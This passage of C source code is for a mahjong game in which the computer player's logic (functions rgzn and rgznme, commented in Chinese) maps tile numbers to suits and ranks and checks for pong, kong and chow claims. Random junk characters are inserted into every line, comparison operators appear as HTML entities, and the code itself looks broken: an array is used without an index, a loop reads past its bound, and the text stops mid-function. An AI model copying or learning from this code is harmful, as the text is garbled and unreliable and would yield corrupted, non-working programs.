: j- t! x' G8 n  ?8 T+ v0 ^; afor(n=0;n&lt;me.m;n++)! U1 {/ T& K/ ^8 i
for(j=n;j&lt;me.m;j++)
* Z. Y0 u+ k" A1 O. F, E( J# r{' o# o. Q* E$ m) ]) C
if(me.pp[n].number&gt;me.pp[j+1].number)
5 G8 o  C3 D; [3 c: s{( r* `6 q. s( L: N0 k" W8 l/ b
lingshi=me.pp[n].k;
7 ?) f: e: i4 F  Ome.pp[n].k=me.pp[j+1].k;
+ j# F# M9 Y2 Ome.pp[j+1].k=lingshi;' j5 _. y9 b# w. E( h$ q
u=me.pp[n].oneorfour;
, [) N3 |! h2 [) nme.pp[n].oneorfour=me.pp[j+1].oneorfour;
, v2 Z* O! J6 u# yme.pp[j+1].oneorfour=u;
0 g; P6 d: T/ y0 T: R2 Du=me.pp[n].number;
3 b0 n# z' {8 `' u2 E" J' Ome.pp[n].number=me.pp[j+1].number;
  [8 z/ i' k) l% ]9 e6 _me.pp[j+1].number=u;8 y: l, X3 q# n8 ~
}
4 A8 J3 ?/ ]) [: pelse% u1 v6 T) v2 ~8 s
if(me.pp[n].number==me.pp[j+1].number)
- @5 g9 y5 s2 W6 \+ X  @2 Kif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)& f7 S. u, k" t
{+ c0 l* {' `! u# D
lingshi=me.pp[n].k;
2 P0 d& S& _& B9 h: kme.pp[n].k=me.pp[j+1].k;
% t* a8 s9 v$ h5 K8 Z7 Q% Wme.pp[j+1].k=lingshi;
) E1 @% _: i" g! Ku=me.pp[n].oneorfour;
, f! I9 @1 V- ~me.pp[n].oneorfour=me.pp[j+1].oneorfour;
* J* q4 x( L) s- ^me.pp[j+1].oneorfour=u;( f* i, X3 k% W
u=me.pp[n].number;
/ e$ j- [  u5 C, J: ume.pp[n].number=me.pp[j+1].number;9 N$ d( M' C( v. |: Y+ @. M: c% G
me.pp[j+1].number=u;6 J2 n6 m& i" h
}
+ ^1 }/ m) D# |" a+ f* u3 v}9 }; g, l) p0 p; t
}' J6 p/ U2 K  @/ @- b0 o
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
7 O6 N) j. F3 B1 D) F" m{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
' [: @0 P* H+ q8 P; Y: V6 C& H, {if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)  M# x$ E3 s1 ?
{) u' F: \& J* G; }) C  m. G. v5 A
logo=1;1 l% F6 M- ]+ k$ S! z
if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0), _9 n- ~  _& l
logoo=1;
& ?& s8 a0 Z$ a" Zelse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
; g" @. I& {; |1 S/ M5 K* {  @logoo=2;
4 X" S2 I  b9 n7 `4 eelse if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
3 y6 F/ C3 E; B6 C! G: {) [logoo=3;
& Y! H) G" K* a% Y# ]else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
* q4 z6 G. ~+ f/ Mlogoo=4;0 }+ {$ D8 Z! f) R0 w' D/ M6 J
else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
+ N" P: ]8 V1 {0 flogoo=5;+ t6 q# h! w1 `3 y5 e. F
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
( u- x: b$ R7 l9 y; s% b0 plogoo=6;* P& y7 _1 O* D: w" b! x8 Y
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
' J+ p  E& v1 M4 @) ]! f% Llogoo=7;5 _2 S9 l, X: Z+ t: G4 u- B; ?
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
  r6 h' `; n( i4 dlogoo=8;
9 V- f2 W- l/ o  m6 G& d5 delse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)) x  A) i  V8 y1 p& o# L3 h
logoo=9;
6 x# H- f: f4 o& G; z# ?}7 l9 b' p1 c! t  I/ p5 D
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
: ~4 H& {, w2 ^* l{1 X# e1 K) ^0 Y+ D- L* `1 W" Z) j) V
logo=2;
2 F# k' R7 s# M6 W2 ]if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)7 y! b" R8 N& v1 y8 ?6 V1 ~6 U
logoo=1;+ Q+ G2 b* t9 p6 ]$ a
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
4 t; o7 f* H3 l# M' g1 v; Y" Blogoo=2;2 Z/ |  z& }2 c
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
1 b) f/ ?/ Q$ g/ i- |logoo=3;7 h/ H+ n1 V* @: Q+ k
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
! n" f$ |# f% W' `- C6 ?logoo=4;  F( c1 W- ?. e8 p# G
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
9 B8 L1 o9 g8 blogoo=5;
7 |' K: ~) |7 `* X  Uelse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)- V) Z7 \% H- d8 N6 U
logoo=6;5 C  y3 A6 q' p6 f6 x
else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)( U$ d! c' X! n; d6 F
logoo=7;  t. n  C% m) N9 k
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)" _8 q' _! o6 D# f4 v5 n
logoo=8;5 b! b/ v3 N- a: K; [, u
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)/ K. n1 |7 [1 J; [8 s+ c& Y2 p3 K
logoo=9;/ Z9 g# m: v8 Z# [' u5 M
}
5 A) ]) y3 i4 L5 I6 zelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
+ }% M$ H$ a: O4 [/ ?0 i. p) X{
% [$ g1 \+ H9 y. g1 Alogo=3;
) Q: @: s* s. F/ kif(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
/ ]6 ]* v* Z8 Clogoo=1;5 Z9 s0 r% V5 |- `
else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
- ~0 m" l) L+ @logoo=2;( u: J$ p4 ^0 h" x8 ^; S) ^
else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)$ j  N7 o0 R. C( R
logoo=3;: Z0 E0 e3 U" Q7 j( Y
else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
5 t7 a. w# p- h4 Nlogoo=4;
) H6 m' b3 I; V( d1 Y5 V2 telse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)+ b' p) i' d- [. `# ~
logoo=5;7 ^0 t7 c. E# T
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)6 ]5 u; F9 u7 J) {
logoo=6;
; S* I3 L& g  [( V. O+ f0 z& f. z* belse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)) _% [: A$ [: Y
logoo=7;/ R3 x$ _1 ]" |7 J
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
; Q0 p1 b% @' B" E0 g. P) d; F) m5 {logoo=8;1 o" P7 [7 G1 O
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)# f9 A# W' S! R, ]
logoo=9;
1 K( d; \$ }9 W. p9 Y}4 p2 i5 k1 A+ k; L6 m) S
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
0 B) G8 }, z1 T: B9 _{3 C. G* D& t6 x9 m: K
logo=4;
2 u1 j$ {: J/ Q# K4 H: dif(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
+ G6 D7 H4 \# O# F; z6 E! elogoo=1;
* i* j3 }  N% v3 |6 @) ^; @else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
. V0 x8 Y9 Q+ J6 R; a  ^( Dlogoo=2;
+ O. ~( w( H) N) C/ m8 d) relse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
7 K" ?( K0 f; n( b8 D7 n( Slogoo=3;" C8 |2 r) f5 ~5 d& O  B# c# O) y
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
) q; m) u4 u2 Q- Rlogoo=4;
, W: m( J# ~9 |" G& melse if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
0 V: n& K3 |. h: p! X+ Elogoo=5;
& d7 K* t. V* M: `else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
5 a+ n8 ]4 @& d* D+ p5 Nlogoo=6;
* Z9 L! D. n7 {% y- k5 m% A5 _else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
/ }7 B' Y$ L; u5 }* hlogoo=7;
% i+ ]' I1 \1 y/ v6 j}
. D' T, \9 e5 T% c, D) D$ }while(b&lt;=computer.m)0 u/ X' R- {' ?3 B) Y% c
{4 e) f( C1 X2 p1 \% k
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
: I0 n& S; ~/ @" ], [) a- n$ ?9 y{
' Z8 D6 L' T( g+ z* p' wlg=1;, g6 d' Q. x$ H
computer.pp.d[0]=1;
6 P3 d- s1 j1 A- V$ }if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0). k8 P0 C$ ^: P9 k% B
{5 t# D# N, `* Y/ A1 y
lgg=1;6 L* ]0 D# B* j7 T& u3 n
computer.pp.d[1]=1;! ]0 K+ w0 H; N) G, V& W6 e- ?
}
7 |7 F* O+ {' ^8 r2 n0 helse if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
  G8 _! c6 F0 f: M{
/ U; |8 F/ G) P: W% Hlgg=2;0 j+ h4 N" X, v4 K
computer.pp.d[1]=2;7 K% i3 ]6 x5 p* o* ~- @9 l& Q
}
% F& |* L. J0 I$ kelse if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8). s' U: d" x+ z# D' a
{
8 y, ~  R- a5 ?& r6 h/ G5 }lgg=3;
6 {$ j1 O4 g5 @$ [computer.pp.d[1]=3;) G; k" X# i7 S. m
}
& \6 L9 E  h9 L1 o9 B  A8 Y7 Yelse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
) K( k' p- d8 q0 J" j9 t{
' e# Q' R, W# Tlgg=4;
4 g! A6 v" M; C6 z/ P9 ]1 ?, r3 {computer.pp.d[1]=4;( s; m3 V  L) A/ ~4 _. a
}
( c0 A# ]$ M* o' {else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16): h& o/ c# Q7 x7 R) j3 \, C: \
{
3 ^' O+ w9 w1 w9 d! T. ]lgg=5;
  F8 t. ~* F( V  pcomputer.pp.d[1]=5;1 o6 K$ F: m' X3 {
}
% ^* i0 x! E, Q; M  \- Q% {else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20). s: B9 ^3 ~7 q" V
{, d% v0 i5 w- R$ L0 q
lgg=6;
9 x+ I& @5 b  }( ^0 E* i; U# X; w2 _computer.pp.d[1]=6;4 Q3 i$ T( G7 v$ _% |3 @3 w9 n
}0 Z& l6 j) U" N! h" s0 {
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)! W1 V7 |. d. L( B3 _% _/ J% k
{
/ Z8 w5 U7 f- Ylgg=7;' t* `3 E  |' C+ M
computer.pp.d[1]=7;
) P8 \9 D3 o. `7 q, E5 |# \. ^}
) ]! L  E( a$ e  Ielse if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
* Q% K7 R8 V7 M$ x7 i- _' u{
2 [8 ^! O9 K+ W$ Klgg=8;
0 a2 k$ d# n; K; P7 X; bcomputer.pp.d[1]=8;
' Q( a- l& L( @  X1 D7 H3 ?7 S}+ C8 ^& R, G' K9 A1 u) e' }
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)7 f% I* s; R+ X5 F: o/ G
{" i1 b% r& P1 ?" v& c
lgg=9;9 c# J; x" ]0 y
computer.pp.d[1]=9;
- L: z* x% s$ r& q: f7 l4 a}
. b! p" T5 b+ g/ p9 x$ @}$ B- h7 I4 ?/ ]6 y: s
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)  {9 z$ S8 T$ V1 `+ u
{
9 N' p# u5 {- ~) o! B- Y) i/ Elg=2;
" j$ P9 G9 D& z1 f' k3 Vcomputer.pp.d[0]=2;7 U5 n2 v4 u% F( C! ^) k9 D* L+ j
if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
- b" @* e9 A/ |- k{
/ e; U1 R. v/ v6 Q& Plgg=1;' K+ J- V5 P! K6 e# \7 P" C7 m0 n/ K' o% I
computer.pp.d[1]=1;
1 g4 V/ }% f7 q5 @6 o* `+ n5 H}: d1 s: E9 d/ B  o% g4 `
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)! J% E8 U" p. F$ @" X
{
6 d; H7 h, [$ g1 R0 [! @1 V0 l) ^, \lgg=2;
2 Z% _. z  x3 y+ B& I( l& e! wcomputer.pp.d[1]=2;3 u! `% q& `7 C9 j4 v, w4 x
}
. s4 i! O, _* J7 D3 Jelse if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
( Y, O5 C+ o+ L8 L- l' ^& z{
- x5 G9 O' K) N; |" H( \' @lgg=3;
4 |0 V- T# @6 N, I0 S5 [computer.pp.d[1]=3;  Y1 y3 K! d1 }
}' k. R/ b; N* ]6 ]" P( o
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
+ \% e6 e2 V8 ]; |$ }# a{
# X+ C+ p% x* u8 Algg=4;3 N% M, {. g) o- m6 I" p
computer.pp.d[1]=4;
/ {% Z( Y4 h8 k% ^. h" @}
  M! u& x! v- i$ x6 ]else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
" k/ R0 T$ y) i* W; B{/ T; y# P8 N: w& N) R
lgg=5;& W; s. O9 q! V( a
computer.pp.d[1]=5;
) i  E/ T9 D+ t9 j9 g) {3 Q2 q  R}: ^5 H$ e" u% n4 g# r- }/ f& j& {
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
! b: s  ?% N' l5 a{
, }% r4 R& l. N* d4 y; k" klgg=6;
6 D2 A, F* s9 ccomputer.pp.d[1]=6;
. m. g# \- ]: C3 j3 X* C}8 N! c8 j$ Y( B2 T9 q: r. g% a
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
( U3 T( q8 @. @8 p+ R; T{
2 f4 U4 F! i; l8 {# xlgg=7;' G' u9 T5 M5 O* s. H
computer.pp.d[1]=7;: A  @' t: [9 z2 L+ V% |! x
}# k% }$ Z$ N* i
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)5 z, Z  f7 V% \: z
{% V( l! Z- S6 W3 y- e
lgg=8;
1 a8 a8 J# K5 Z9 z/ s" F" Hcomputer.pp.d[1]=8;
9 b8 [- A- \2 n, i! R% u}- v% ]+ P- ?6 g6 }1 q2 I
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)8 r! J' k3 `) K/ n7 d. L& C
{9 }. @- y# O3 v% P4 e3 b
lgg=9;7 J% @( [' A" a6 o' ?+ Q7 I
computer.pp.d[1]=9;
+ c0 l' O7 u. N8 o8 P}
6 L  r- `+ Z8 g9 \2 K, j4 Z}8 J6 z$ D! R# p6 \3 `
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
2 s/ I1 [5 P5 E& |% D( I0 e{
* D  z8 g( b4 Y5 Olg=3;: x9 }( g8 V: C
computer.pp.d[0]=3;
" F+ n6 Y1 {, |6 o: ~7 p, _1 Xif(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
4 W& d: ?" d( t) H( j! t, U( I{' G$ h2 N2 E: |- k  `
lgg=1;
0 ~2 C5 k4 C: n9 ^( P! p* e  Ecomputer.pp.d[1]=1;
; P. y2 O7 Z. X# \! H3 g1 @( {1 J}( S# u3 `7 {) ^% d9 b' k; ?. S% }3 k
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)) b* K% y9 k* }- ^, p! Y% G' d
{" F0 z: \6 Y5 _3 s* F
lgg=2;
/ I; o/ Q7 |' Q/ ~7 p0 Icomputer.pp.d[1]=2;" ~3 c* X/ `: u1 N7 O
}- S7 l8 a7 f- [: O
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
4 b+ h1 \8 X( }4 w( t{. R( Y! M# n0 |, ~! i; m) O6 S! f
lgg=3;& P: Q$ {8 R; J; N# B
computer.pp.d[1]=3;- [' C  Y$ l+ q4 f) m) Z
}7 N! K! J2 O7 Y- V" i( l" S
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)/ o& V  m, U9 e% R4 N$ u3 i! t/ Q: U
{5 Y. k( e6 E1 j2 h
lgg=4;
% W: w: _! x3 C% `1 i& _computer.pp.d[1]=4;  O' S3 {0 X5 n) a
}
& U5 z, ]8 N- b% J5 M( o9 Gelse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
9 p* G; J' l2 w0 Z7 k5 b- N{' p, }/ E: v- M* o# ~. r! P
lgg=5;: H, x# s* C0 W6 b
computer.pp.d[1]=5;, Z% M" F8 ^3 b  ?8 M
}
5 [/ E6 w' y2 Q3 V& x, t# Qelse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
) Q( I4 D5 I# s2 p6 d* i, y{8 {) x( J" R$ x* h3 E# N9 X! G
lgg=6;
# ~5 L( |1 z0 X9 ^4 @# J% U0 x* icomputer.pp.d[1]=6;+ i* o& |) b' U; F$ w
}$ C3 l/ ^/ d, J7 ~. x! c; `
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
3 I0 R5 g! y2 p' O# g{
) G0 e) @+ ]/ e9 q, O: ?5 X+ U6 Q4 y8 Ulgg=7;2 z# x7 s& G* \
computer.pp.d[1]=7;* J: }3 c9 \, E8 @( B
}
9 F. K. x+ H5 K: N! D/ y% V; Felse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)9 z7 q( I# m8 P( D$ W
{
; \" `: R9 c  T; ^$ S5 @# qlgg=8;5 |+ l; n' {  V6 t8 n
computer.pp.d[1]=8;! i  J9 J; ^. I4 n& W7 R
}  |% [( l# S9 Q2 {/ _
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
( S' _# @' r; v5 x  i6 C8 `% ?{
) [9 s$ C- _  Z) o7 g" S' ]lgg=9;4 j  @2 j, d7 e3 G/ N" x% p% _/ a" l  S
computer.pp.d[1]=9;
) R9 p  E! K5 X9 x0 W& q- z, S  a}& p; C4 D, Y) ^3 G; e
}# {% K- s$ p( c3 v: p1 L. r% f) \- ^
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)4 P. R2 @! V0 n3 B1 Z7 [+ B5 V
{; r1 y) V0 c# C1 e/ d8 w
lg=4;
1 r/ T7 R* I1 ]$ O0 bcomputer.pp.d[0]=4;: p- L# W4 v! r' e9 m
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)( z$ H! W5 R  c8 |, Y+ C* T
{
+ t/ R' o- {5 a9 Elgg=1;, |' i. S, k. P6 _+ [
computer.pp.d[1]=1;
* y. u( Z2 q9 \  g; m}
3 ]# C0 E4 Q7 W% t# _5 Felse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)& l  A1 c  @+ ]2 E7 q
{
& l# x- ~3 C3 X3 o% Nlgg=2;
3 {! F# W2 U' x% P# vcomputer.pp.d[1]=2;
# R- L! d/ X2 ]* Z}7 D7 o$ E* B- i: b% O8 S! B
else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)" k) N8 b  w* s# y
{( x: F/ d2 n, q8 g. F; k
lgg=3;
* a' @, L6 @7 t3 t* ]. B( ~( Ocomputer.pp.d[1]=3;
& F3 i2 B) D0 V}
4 Y, Q  p% a7 ~+ qelse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
, \- g) K- q  Y) \6 A* r7 U, o7 a, {{, S! C( S; z5 p; r
lgg=4;/ k' U, G2 j0 D- z- K
computer.pp.d[1]=4;
$ Q1 t( W6 {3 M0 c6 u: b& Z}8 k6 X' ^4 z: k) `& D  {
else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)- I: E( p  k; ]7 H
{# q. T5 N0 [. k3 i& w1 o
lgg=5;! q. b; q' O, [: H8 v
computer.pp.d[1]=5;8 z* K! @  b3 o1 V0 C% e
}
6 y6 }! _# Z% x9 s# kelse if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
" U3 u; ~  ?0 b{! j6 t6 V9 c4 x4 n; r" X
lgg=6;' x4 ]; Y. i+ g/ e+ u1 d
computer.pp.d[1]=6;" Y3 t* N, K: X; _* X
}, g6 G: F, R) O
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
" l" k& `7 Q3 T9 p{
, H9 I' z/ d  N+ N8 clgg=7;
( E, O7 J$ m0 x) ocomputer.pp.d[1]=7;& m# W. _- |$ D$ @
}3 ^$ I* O/ n' H
}6 z" Q2 L& \5 ]) O* d3 S

% M, I% \/ o5 qif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
/ {% n; P, a/ A# C0 y# ~  cif(logoo==lgg)
) S# r* g4 b2 h* I9 g/ y0 y( Kpg++;
! G( ~8 [( f8 Z8 mch.lg=lg; /*保存电脑手里的每张牌的信息*/
; b1 s" ^& d3 T: s# e' Mch.lgg=lgg;$ ]8 v  ~  a) j& \4 e5 {  d7 [
lg=0;+ {, f. E( x1 t- E0 A
lgg=0;( B4 T- X4 r9 {0 q, j7 r- }8 m4 D: M1 l
b++;  ]/ @( E  [, Z3 s$ J
}
" [; z% v0 e, H- q9 xif(pg==2) /*乓*/
7 b8 X' c# W* n( l$ n6 r, [# a{
5 `; s! k3 p1 {, S/ b* _) e5 L- P& x* F5 @2 j" Q, n+ [8 r
sing=1;
2 u3 P% S9 t! Z: h8 B5 Hb=computer.m;
! R3 _* R3 {0 V  K8 x* dwhile(b!=-1)0 e! ]- n9 Y3 \; n' x: G2 I
{
3 a6 j5 ?( V" z8 Yif(strcmp(me.pp[c].k,computer.pp.k)==0)
2 I! R. w; J- Xcomputer.pp.p=1;
" x% }4 I2 q+ Q" M' L' I( L8 {& L
) d' _5 |* T0 `1 x! t7 w+ Ub--;9 ]5 V, W$ \5 ^5 w2 }( g
}
# ]: y, T1 ?' |- j# i}+ _. L2 W* X! X6 w
if(pg==3) /*杠*/% j( t& r9 d% V; C( `0 c
{
2 A" c$ |6 `" ]# X+ B8 m
4 T- r) @/ g1 Bsing=2;2 [* E+ o% H, S2 ~0 K/ v
b=computer.m;
7 B, U$ I2 ^. S3 ?( A. B' Vwhile(b!=-1)9 w- h6 `" h4 v, I- h6 H8 P3 E
{- A* c$ n, W" V) a* S
if(strcmp(me.pp[c].k,computer.pp.k)==0)
  ?) ]3 N  R3 scomputer.pp.g=1;& |5 a& E; y( L
b--;1 f, I- a! b- Q6 V$ T: c5 C
}' `* z# S& T/ F( r
}( [" U1 A0 C, N( J- j
f=0;: \# ^5 S1 {6 @
while(f&lt;computer.m) /*吃的判断*/
2 A$ G" f, V" w3 D, t0 i7 \7 f{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
* h& f8 {: ~3 P7 f/ x{
$ e! o9 C) r6 M% k$ w) b% Kif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
% S5 r- B3 a! h! L2 \if(ch[f].lgg-logoo==1)
  I/ J: i+ ?: A% @6 c3 c. X( W{/ i: |: w1 B# ]7 B- {) F* x
gp++;7 Y3 D+ d2 X8 z$ U, h% R
computer.pp[f].c=1;: d; q6 N5 @, Z1 z
computer.pp[f+1].c=1;0 o% h6 N* U6 p( L# P* F
}3 Q: [# ^, K& L& Q
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
2 @+ ~, r5 R: B7 D1 e- `( pif(ch[f+1].lgg-logoo==-1)$ Y! s; N- ^  V7 x, h- V6 r5 q
{! k$ ^9 W/ H. k
gp++;
6 |0 v/ V: F& k( O7 ucomputer.pp[f].c=1;7 F/ t* g' h$ x; p8 u9 ~4 A
computer.pp[f+1].c=1;. o$ w& z$ M+ F
}
* |  d2 X( y# U) l8 cif(ch[f].lgg-logoo==-1) /*中吃*/
$ t2 A; ^8 g  R$ y& f- Vif(ch[f+1].lgg-logoo==1)" y' z4 i; H7 m0 c& Q/ X8 d
{
2 X, P7 V: ]% A) D  V6 G, dgp++;
. y3 g: N6 }8 j" v; Dcomputer.pp[f].c=1;
7 s2 a6 U4 U0 E4 W4 R. Ccomputer.pp[f+1].c=1;) a2 [/ z. z7 l. h* X' M% v
}+ _( T! s4 H4 R0 Q$ \6 q
if(gp==1)/ y) ]7 a/ V) I& V# Z. z
break;
4 u: P0 [9 W/ d  U}
9 j) G8 x4 r, T9 jf++;2 f7 A: R. E- p+ m; w
}. m- Q( E( M' l. S
if(gp==1)
7 a% U( r- _( u: v$ a1 d' M{sing=7;
2 Q3 ?0 f, q& I7 s) h
  t/ h4 S3 X7 U7 @- z% J}* O, j9 {) |2 F
pg=0;/ E2 D; s  D3 H& X& I4 J  h
gp=0;
, A" R9 W' \, s, T6 K( O. Z+ Ib=0;
% @& D/ I5 Z. c, B" P  ~2 d2 G4 @# c}
9 i/ u# `. r  Lvoid rgznme(int c) /*本程序涵数的核心针对我的牌*/
5 P6 w. j: ~; d: i/ ]{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
# h! [5 Y$ g! W/ q0 L0 Dif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)0 H# K$ _% E7 x4 \
{9 r1 b$ k' l! R, N
logo=1;
6 C- m9 o+ Q# I# c& c; eif(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
: I8 r7 Z) P/ L4 o; }# flogoo=1;
6 S  B' O% R4 F. X3 q) delse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
3 P/ t, o/ v3 Tlogoo=2;6 c+ b( u8 t/ J: \& X1 i
else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
6 N" T( Q+ r# T* Blogoo=3;
( A# Z* j& Y1 U1 Qelse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)2 _7 B8 M. R5 p- a  b
logoo=4;+ T/ G) B1 T! z, `( r
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
% o2 A5 ?  e- f4 ^7 d7 F2 W; qlogoo=5;( |* ?- O# y( z
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
  O- m! m  r3 K2 r. Nlogoo=6;
/ V2 i2 A7 D* o1 ^2 Kelse if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)) f, t3 |9 b, D( ~6 Q2 B6 M+ v
logoo=7;7 C( G) k: u. T0 m1 D. y; T& F( S
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)$ K6 _& A% A# y0 _2 R
logoo=8;
0 m* ?3 o& {4 R  zelse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
2 X4 {# ]3 a7 T/ w6 J2 Clogoo=9;4 P* k% x. R+ ^( [1 I' ^3 W6 \. _
}
. S$ j1 r2 j* W" y2 `7 f1 i( ~else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)" W# o" k6 e) L1 w5 i6 `
{
$ _' x: @8 {& Z4 V) [logo=2;
- u, H+ ?% @" A- x- fif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)) L& n0 l5 c; }% `; G2 \. R; W4 j
logoo=1;$ _. `9 k( E; Q" s+ R; r; }3 l
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)8 [+ G1 r' G- G7 m! ?2 c
logoo=2;
6 q. E, N5 p/ t) ^' }  {else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44): a4 o& `8 }: {6 M
logoo=3;
8 q' A$ A  ^- x/ S: Selse if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)" c5 B2 Z+ D/ y/ R  U: ^
logoo=4;
2 u+ i) g9 s) L- R  ~else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)+ W- P: A: N# T+ [1 F
logoo=5;: t7 {0 l# Y+ j1 I
else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56). G7 {* d; Y' l
